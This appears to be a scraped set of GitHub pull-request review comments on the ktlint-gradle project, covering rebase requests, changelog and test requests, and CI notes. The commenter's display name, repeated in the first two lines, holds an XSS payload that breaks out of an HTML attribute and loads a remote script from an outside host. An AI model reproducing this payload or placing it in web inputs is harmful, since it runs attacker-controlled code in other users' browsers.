Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>
Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>
Overall, I'm finding myself quite confused about these changes and the back-and-forth we had to engage with on this PR. The vibe I was getting for many of the changes...
This PR has conflicts with `main`, can you please rebase the changes?
No worries. Could you rebase when you get a moment?
Per this conversation in the Gradle Community slack channel: https://gradle-community.slack.com/archives/CA745PZHN/p1758831121015639 Would you be willing to implement an integration test that verifies the output of the problems API ends up in...
Also, you can safely ignore the "Build and check / build (ubuntu-latest, 25)" and "Build and check / build (windows-latest, 25)" CI job failures. Those are known issues. See: https://github.com/JLLeitschuh/ktlint-gradle/issues/963
I'm guessing this is going to fail CI because the PR doesn't update the test testing the the pre-commit script that is generated. Just and FYI. Thanks for the contribution!
Also, this needs a change log entry please!
Exclude and include filters are directly passed-through to Gradle, and not handled by our code in any way AFAIK. Their behavior is weird and has driven me crazy for years....
Was this fixed by #962?
@copilot please use this pull request number https://github.com/JLLeitschuh/ktlint-gradle/pull/1001 in the CHANGELOG